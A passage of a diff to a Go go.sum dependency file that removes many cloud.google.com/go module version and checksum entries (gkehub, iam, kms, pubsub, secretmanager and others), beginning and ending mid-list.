-cloud.google.com/go/gkebackup v0.4.0/go.mod h1:byAyBGUwYGEEww7xsbnUTBHIYcOPy/PgUWUtOeRm9Vg= -cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= -cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= -cloud.google.com/go/gkeconnect v0.7.0/go.mod h1:SNfmVqPkaEi3bF/B3CNZOAYPYdg7sU+obZ+QTky2Myw= -cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= -cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= -cloud.google.com/go/gkehub v0.11.0/go.mod h1:JOWHlmN+GHyIbuWQPl47/C2RFhnFKH38jH9Ascu3n0E= -cloud.google.com/go/gkehub v0.12.0/go.mod h1:djiIwwzTTBrF5NaXCGv3mf7klpEMcST17VBTVVDcuaw= -cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= -cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= -cloud.google.com/go/gkemulticloud v0.5.0/go.mod h1:W0JDkiyi3Tqh0TJr//y19wyb1yf8llHVto2Htf2Ja3Y= -cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= -cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= -cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= -cloud.google.com/go/gsuiteaddons v1.5.0/go.mod h1:TFCClYLd64Eaa12sFVmUyG62tk4mdIsI7pAnSXRkcFo= -cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= -cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= -cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= -cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= -cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= -cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= -cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= -cloud.google.com/go/iam v0.12.0/go.mod h1:knyHGviacl11zrtZUoDuYpDgLjvr28sLQaG0YB2GYAY= -cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0= -cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= -cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= -cloud.google.com/go/iap v1.6.0/go.mod h1:NSuvI9C/j7UdjGjIde7t7HBz+QTwBcapPE07+sSRcLk= -cloud.google.com/go/iap v1.7.0/go.mod h1:beqQx56T9O1G1yNPph+spKpNibDlYIiIixiqsQXxLIo= -cloud.google.com/go/iap v1.7.1/go.mod h1:WapEwPc7ZxGt2jFGB/C/bm+hP0Y6NXzOYGjpPnmMS74= -cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= -cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= -cloud.google.com/go/ids v1.3.0/go.mod h1:JBdTYwANikFKaDP6LtW5JAi4gubs57SVNQjemdt6xV4= -cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= -cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= -cloud.google.com/go/iot v1.5.0/go.mod h1:mpz5259PDl3XJthEmh9+ap0affn/MqNSP4My77Qql9o= -cloud.google.com/go/iot v1.6.0/go.mod h1:IqdAsmE2cTYYNO1Fvjfzo9po179rAtJeVGUvkLN3rLE= -cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= -cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= -cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= -cloud.google.com/go/kms v1.8.0/go.mod h1:4xFEhYFqvW+4VMELtZyxomGSYtSQKzM178ylFW4jMAg= -cloud.google.com/go/kms v1.9.0/go.mod h1:qb1tPTgfF9RQP8e1wq4cLFErVuTJv7UsSC915J8dh3w= -cloud.google.com/go/kms v1.10.0/go.mod h1:ng3KTUtQQU9bPX3+QGLsflZIHlkbn8amFAMY63m8d24= -cloud.google.com/go/kms v1.10.1/go.mod h1:rIWk/TryCkR59GMC3YtHtXeLzd634lBbKenvyySAyYI= -cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= -cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= -cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= -cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= -cloud.google.com/go/language v1.9.0/go.mod h1:Ns15WooPM5Ad/5no/0n81yUetis74g3zrbeJBE+ptUY= -cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= -cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= -cloud.google.com/go/lifesciences v0.8.0/go.mod h1:lFxiEOMqII6XggGbOnKiyZ7IBwoIqA84ClvoezaA/bo= -cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= -cloud.google.com/go/logging v1.7.0/go.mod h1:3xjP2CjkM3ZkO73aj4ASA5wRPGGCRrPIAeNqVNkzY8M= -cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= -cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= -cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo= -cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= -cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= -cloud.google.com/go/managedidentities v1.5.0/go.mod h1:+dWcZ0JlUmpuxpIDfyP5pP5y0bLdRwOS4Lp7gMni/LA= -cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= -cloud.google.com/go/maps v0.6.0/go.mod h1:o6DAMMfb+aINHz/p/jbcY+mYeXBoZoxTfdSQ8VAJaCw= -cloud.google.com/go/maps v0.7.0/go.mod h1:3GnvVl3cqeSvgMcpRlQidXsPYuDGQ8naBis7MVzpXsY= -cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= -cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= -cloud.google.com/go/mediatranslation v0.7.0/go.mod h1:LCnB/gZr90ONOIQLgSXagp8XUW1ODs2UmUMvcgMfI2I= -cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= -cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= -cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= -cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= -cloud.google.com/go/memcache v1.9.0/go.mod h1:8oEyzXCu+zo9RzlEaEjHl4KkgjlNDaXbCQeQWlzNFJM= -cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= -cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= -cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= -cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= -cloud.google.com/go/metastore v1.10.0/go.mod h1:fPEnH3g4JJAk+gMRnrAnoqyv2lpUCqJPWOodSaf45Eo= -cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= -cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= -cloud.google.com/go/monitoring v1.12.0/go.mod h1:yx8Jj2fZNEkL/GYZyTLS4ZtZEZN8WtDEiEqG4kLK50w= -cloud.google.com/go/monitoring v1.13.0/go.mod h1:k2yMBAB1H9JT/QETjNkgdCGD9bPF712XiLTVr+cBrpw= -cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= -cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= -cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= -cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= -cloud.google.com/go/networkconnectivity v1.10.0/go.mod h1:UP4O4sWXJG13AqrTdQCD9TnLGEbtNRqjuaaA7bNjF5E= -cloud.google.com/go/networkconnectivity v1.11.0/go.mod h1:iWmDD4QF16VCDLXUqvyspJjIEtBR/4zq5hwnY2X3scM= -cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= -cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= -cloud.google.com/go/networkmanagement v1.6.0/go.mod h1:5pKPqyXjB/sgtvB5xqOemumoQNB7y95Q7S+4rjSOPYY= -cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= -cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= -cloud.google.com/go/networksecurity v0.7.0/go.mod h1:mAnzoxx/8TBSyXEeESMy9OOYwo1v+gZ5eMRnsT5bC8k= -cloud.google.com/go/networksecurity v0.8.0/go.mod h1:B78DkqsxFG5zRSVuwYFRZ9Xz8IcQ5iECsNrPn74hKHU= -cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= -cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= -cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= -cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= -cloud.google.com/go/notebooks v1.7.0/go.mod h1:PVlaDGfJgj1fl1S3dUwhFMXFgfYGhYQt2164xOMONmE= -cloud.google.com/go/notebooks v1.8.0/go.mod h1:Lq6dYKOYOWUCTvw5t2q1gp1lAp0zxAxRycayS0iJcqQ= -cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= -cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= -cloud.google.com/go/optimization v1.3.1/go.mod h1:IvUSefKiwd1a5p0RgHDbWCIbDFgKuEdB+fPPuP0IDLI= -cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= -cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= -cloud.google.com/go/orchestration v1.6.0/go.mod h1:M62Bevp7pkxStDfFfTuCOaXgaaqRAga1yKyoMtEoWPQ= -cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= -cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= -cloud.google.com/go/orgpolicy v1.10.0/go.mod h1:w1fo8b7rRqlXlIJbVhOMPrwVljyuW5mqssvBtU18ONc= -cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= -cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= -cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= -cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= -cloud.google.com/go/osconfig v1.11.0/go.mod h1:aDICxrur2ogRd9zY5ytBLV89KEgT2MKB2L/n6x1ooPw= -cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= -cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= -cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= -cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= -cloud.google.com/go/oslogin v1.9.0/go.mod h1:HNavntnH8nzrn8JCTT5fj18FuJLFJc4NaZJtBnQtKFs= -cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= -cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= -cloud.google.com/go/phishingprotection v0.7.0/go.mod h1:8qJI4QKHoda/sb/7/YmMQ2omRLSLYSu9bU0EKCNI+Lk= -cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= -cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= -cloud.google.com/go/policytroubleshooter v1.5.0/go.mod h1:Rz1WfV+1oIpPdN2VvvuboLVRsB1Hclg3CKQ53j9l8vw= -cloud.google.com/go/policytroubleshooter v1.6.0/go.mod h1:zYqaPTsmfvpjm5ULxAyD/lINQxJ0DDsnWOP/GZ7xzBc= -cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= -cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= -cloud.google.com/go/privatecatalog v0.7.0/go.mod h1:2s5ssIFO69F5csTXcwBP7NPFTZvps26xGzvQ2PQaBYg= -cloud.google.com/go/privatecatalog v0.8.0/go.mod h1:nQ6pfaegeDAq/Q5lrfCQzQLhubPiZhSaNhIgfJlnIXs= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= -cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= -cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= -cloud.google.com/go/pubsub v1.28.0/go.mod h1:vuXFpwaVoIPQMGXqRyUQigu/AX1S3IWugR9xznmcXX8= -cloud.google.com/go/pubsub v1.30.0/go.mod h1:qWi1OPS0B+b5L+Sg6Gmc9zD1Y+HaM0MdUr7LsupY1P4= -cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= -cloud.google.com/go/pubsublite v1.6.0/go.mod h1:1eFCS0U11xlOuMFV/0iBqw3zP12kddMeCbj/F3FSj9k= -cloud.google.com/go/pubsublite v1.7.0/go.mod h1:8hVMwRXfDfvGm3fahVbtDbiLePT3gpoiJYJY+vxWxVM= -cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod h1:OdD+q+y4XGeAlxRaMn1Y7/GveP6zmq76byL6tjPE7d4= -cloud.google.com/go/recaptchaenterprise/v2 v2.1.0/go.mod h1:w9yVqajwroDNTfGuhmOjPDN//rZGySaf6PtFVcSCa7o= -cloud.google.com/go/recaptchaenterprise/v2 v2.2.0/go.mod h1:/Zu5jisWGeERrd5HnlS3EUGb/D335f9k51B/FVil0jk= -cloud.google.com/go/recaptchaenterprise/v2 v2.3.0/go.mod h1:O9LwGCjrhGHBQET5CA7dd5NwwNQUErSgEDit1DLNTdo= -cloud.google.com/go/recaptchaenterprise/v2 v2.4.0/go.mod h1:Am3LHfOuBstrLrNCBrlI5sbwx9LBg3te2N6hGvHn2mE= -cloud.google.com/go/recaptchaenterprise/v2 v2.5.0/go.mod h1:O8LzcHXN3rz0j+LBC91jrwI3R+1ZSZEWrfL7XHgNo9U= -cloud.google.com/go/recaptchaenterprise/v2 v2.6.0/go.mod h1:RPauz9jeLtB3JVzg6nCbe12qNoaa8pXc4d/YukAmcnA= -cloud.google.com/go/recaptchaenterprise/v2 v2.7.0/go.mod h1:19wVj/fs5RtYtynAPJdDTb69oW0vNHYDBTbB4NvMD9c= -cloud.google.com/go/recommendationengine v0.5.0/go.mod h1:E5756pJcVFeVgaQv3WNpImkFP8a+RptV6dDLGPILjvg= -cloud.google.com/go/recommendationengine v0.6.0/go.mod h1:08mq2umu9oIqc7tDy8sx+MNJdLG0fUi3vaSVbztHgJ4= -cloud.google.com/go/recommendationengine v0.7.0/go.mod h1:1reUcE3GIu6MeBz/h5xZJqNLuuVjNg1lmWMPyjatzac= -cloud.google.com/go/recommender v1.5.0/go.mod h1:jdoeiBIVrJe9gQjwd759ecLJbxCDED4A6p+mqoqDvTg= -cloud.google.com/go/recommender v1.6.0/go.mod h1:+yETpm25mcoiECKh9DEScGzIRyDKpZ0cEhWGo+8bo+c= -cloud.google.com/go/recommender v1.7.0/go.mod h1:XLHs/W+T8olwlGOgfQenXBTbIseGclClff6lhFVe9Bs= -cloud.google.com/go/recommender v1.8.0/go.mod h1:PkjXrTT05BFKwxaUxQmtIlrtj0kph108r02ZZQ5FE70= -cloud.google.com/go/recommender v1.9.0/go.mod h1:PnSsnZY7q+VL1uax2JWkt/UegHssxjUVVCrX52CuEmQ= -cloud.google.com/go/redis v1.7.0/go.mod h1:V3x5Jq1jzUcg+UNsRvdmsfuFnit1cfe3Z/PGyq/lm4Y= -cloud.google.com/go/redis v1.8.0/go.mod h1:Fm2szCDavWzBk2cDKxrkmWBqoCiL1+Ctwq7EyqBCA/A= -cloud.google.com/go/redis v1.9.0/go.mod h1:HMYQuajvb2D0LvMgZmLDZW8V5aOC/WxstZHiy4g8OiA= -cloud.google.com/go/redis v1.10.0/go.mod h1:ThJf3mMBQtW18JzGgh41/Wld6vnDDc/F/F35UolRZPM= -cloud.google.com/go/redis v1.11.0/go.mod h1:/X6eicana+BWcUda5PpwZC48o37SiFVTFSs0fWAJ7uQ= -cloud.google.com/go/resourcemanager v1.3.0/go.mod h1:bAtrTjZQFJkiWTPDb1WBjzvc6/kifjj4QBYuKCCoqKA= -cloud.google.com/go/resourcemanager v1.4.0/go.mod h1:MwxuzkumyTX7/a3n37gmsT3py7LIXwrShilPh3P1tR0= -cloud.google.com/go/resourcemanager v1.5.0/go.mod h1:eQoXNAiAvCf5PXxWxXjhKQoTMaUSNrEfg+6qdf/wots= -cloud.google.com/go/resourcemanager v1.6.0/go.mod h1:YcpXGRs8fDzcUl1Xw8uOVmI8JEadvhRIkoXXUNVYcVo= -cloud.google.com/go/resourcemanager v1.7.0/go.mod h1:HlD3m6+bwhzj9XCouqmeiGuni95NTrExfhoSrkC/3EI= -cloud.google.com/go/resourcesettings v1.3.0/go.mod h1:lzew8VfESA5DQ8gdlHwMrqZs1S9V87v3oCnKCWoOuQU= -cloud.google.com/go/resourcesettings v1.4.0/go.mod h1:ldiH9IJpcrlC3VSuCGvjR5of/ezRrOxFtpJoJo5SmXg= -cloud.google.com/go/resourcesettings v1.5.0/go.mod h1:+xJF7QSG6undsQDfsCJyqWXyBwUoJLhetkRMDRnIoXA= -cloud.google.com/go/retail v1.8.0/go.mod h1:QblKS8waDmNUhghY2TI9O3JLlFk8jybHeV4BF19FrE4= -cloud.google.com/go/retail v1.9.0/go.mod h1:g6jb6mKuCS1QKnH/dpu7isX253absFl6iE92nHwlBUY= -cloud.google.com/go/retail v1.10.0/go.mod h1:2gDk9HsL4HMS4oZwz6daui2/jmKvqShXKQuB2RZ+cCc= -cloud.google.com/go/retail v1.11.0/go.mod h1:MBLk1NaWPmh6iVFSz9MeKG/Psyd7TAgm6y/9L2B4x9Y= -cloud.google.com/go/retail v1.12.0/go.mod h1:UMkelN/0Z8XvKymXFbD4EhFJlYKRx1FGhQkVPU5kF14= -cloud.google.com/go/run v0.2.0/go.mod h1:CNtKsTA1sDcnqqIFR3Pb5Tq0usWxJJvsWOCPldRU3Do= -cloud.google.com/go/run v0.3.0/go.mod h1:TuyY1+taHxTjrD0ZFk2iAR+xyOXEA0ztb7U3UNA0zBo= -cloud.google.com/go/run v0.8.0/go.mod h1:VniEnuBwqjigv0A7ONfQUaEItaiCRVujlMqerPPiktM= -cloud.google.com/go/run v0.9.0/go.mod h1:Wwu+/vvg8Y+JUApMwEDfVfhetv30hCG4ZwDR/IXl2Qg= -cloud.google.com/go/scheduler v1.4.0/go.mod h1:drcJBmxF3aqZJRhmkHQ9b3uSSpQoltBPGPxGAWROx6s= -cloud.google.com/go/scheduler v1.5.0/go.mod h1:ri073ym49NW3AfT6DZi21vLZrG07GXr5p3H1KxN5QlI= -cloud.google.com/go/scheduler v1.6.0/go.mod h1:SgeKVM7MIwPn3BqtcBntpLyrIJftQISRrYB5ZtT+KOk= -cloud.google.com/go/scheduler v1.7.0/go.mod h1:jyCiBqWW956uBjjPMMuX09n3x37mtyPJegEWKxRsn44= -cloud.google.com/go/scheduler v1.8.0/go.mod h1:TCET+Y5Gp1YgHT8py4nlg2Sew8nUHMqcpousDgXJVQc= -cloud.google.com/go/scheduler v1.9.0/go.mod h1:yexg5t+KSmqu+njTIh3b7oYPheFtBWGcbVUYF1GGMIc= -cloud.google.com/go/secretmanager v1.6.0/go.mod h1:awVa/OXF6IiyaU1wQ34inzQNc4ISIDIrId8qE5QGgKA= -cloud.google.com/go/secretmanager v1.8.0/go.mod h1:hnVgi/bN5MYHd3Gt0SPuTPPp5ENina1/LxM+2W9U9J4= -cloud.google.com/go/secretmanager v1.9.0/go.mod h1:b71qH2l1yHmWQHt9LC80akm86mX8AL6X1MA01dW8ht4= -cloud.google.com/go/secretmanager v1.10.0/go.mod h1:MfnrdvKMPNra9aZtQFvBcvRU54hbPD8/HayQdlUgJpU= -cloud.google.com/go/security v1.5.0/go.mod h1:lgxGdyOKKjHL4YG3/YwIL2zLqMFCKs0UbQwgyZmfJl4= -cloud.google.com/go/security v1.7.0/go.mod h1:mZklORHl6Bg7CNnnjLH//0UlAlaXqiG7Lb9PsPXLfD0= -cloud.google.com/go/security v1.8.0/go.mod h1:hAQOwgmaHhztFhiQ41CjDODdWP0+AE1B3sX4OFlq+GU= -cloud.google.com/go/security v1.9.0/go.mod h1:6Ta1bO8LXI89nZnmnsZGp9lVoVWXqsVbIq/t9dzI+2Q= -cloud.google.com/go/security v1.10.0/go.mod h1:QtOMZByJVlibUT2h9afNDWRZ1G96gVywH8T5GUSb9IA= -cloud.google.com/go/security v1.12.0/go.mod h1:rV6EhrpbNHrrxqlvW0BWAIawFWq3X90SduMJdFwtLB8= -cloud.google.com/go/security v1.13.0/go.mod h1:Q1Nvxl1PAgmeW0y3HTt54JYIvUdtcpYKVfIB8AOMZ+0= -cloud.google.com/go/securitycenter v1.13.0/go.mod h1:cv5qNAqjY84FCN6Y9z28WlkKXyWsgLO832YiWwkCWcU= -cloud.google.com/go/securitycenter v1.14.0/go.mod h1:gZLAhtyKv85n52XYWt6RmeBdydyxfPeTrpToDPw4Auc= -cloud.google.com/go/securitycenter v1.15.0/go.mod h1:PeKJ0t8MoFmmXLXWm41JidyzI3PJjd8sXWaVqg43WWk= -cloud.google.com/go/securitycenter v1.16.0/go.mod h1:Q9GMaLQFUD+5ZTabrbujNWLtSLZIZF7SAR0wWECrjdk= -cloud.google.com/go/securitycenter v1.18.1/go.mod h1:0/25gAzCM/9OL9vVx4ChPeM/+DlfGQJDwBy/UC8AKK0= -cloud.google.com/go/securitycenter v1.19.0/go.mod h1:LVLmSg8ZkkyaNy4u7HCIshAngSQ8EcIRREP3xBnyfag= -cloud.google.com/go/servicecontrol v1.4.0/go.mod h1:o0hUSJ1TXJAmi/7fLJAedOovnujSEvjKCAFNXPQ1RaU= -cloud.google.com/go/servicecontrol v1.5.0/go.mod h1:qM0CnXHhyqKVuiZnGKrIurvVImCs8gmqWsDoqe9sU1s= -cloud.google.com/go/servicecontrol v1.10.0/go.mod h1:pQvyvSRh7YzUF2efw7H87V92mxU8FnFDawMClGCNuAA= -cloud.google.com/go/servicecontrol v1.11.0/go.mod h1:kFmTzYzTUIuZs0ycVqRHNaNhgR+UMUpw9n02l/pY+mc= -cloud.google.com/go/servicecontrol v1.11.1/go.mod h1:aSnNNlwEFBY+PWGQ2DoM0JJ/QUXqV5/ZD9DOLB7SnUk= -cloud.google.com/go/servicedirectory v1.4.0/go.mod h1:gH1MUaZCgtP7qQiI+F+A+OpeKF/HQWgtAddhTbhL2bs= -cloud.google.com/go/servicedirectory v1.5.0/go.mod h1:QMKFL0NUySbpZJ1UZs3oFAmdvVxhhxB6eJ/Vlp73dfg= -cloud.google.com/go/servicedirectory v1.6.0/go.mod h1:pUlbnWsLH9c13yGkxCmfumWEPjsRs1RlmJ4pqiNjVL4= -cloud.google.com/go/servicedirectory v1.7.0/go.mod h1:5p/U5oyvgYGYejufvxhgwjL8UVXjkuw7q5XcG10wx1U= -cloud.google.com/go/servicedirectory v1.8.0/go.mod h1:srXodfhY1GFIPvltunswqXpVxFPpZjf8nkKQT7XcXaY= -cloud.google.com/go/servicedirectory v1.9.0/go.mod 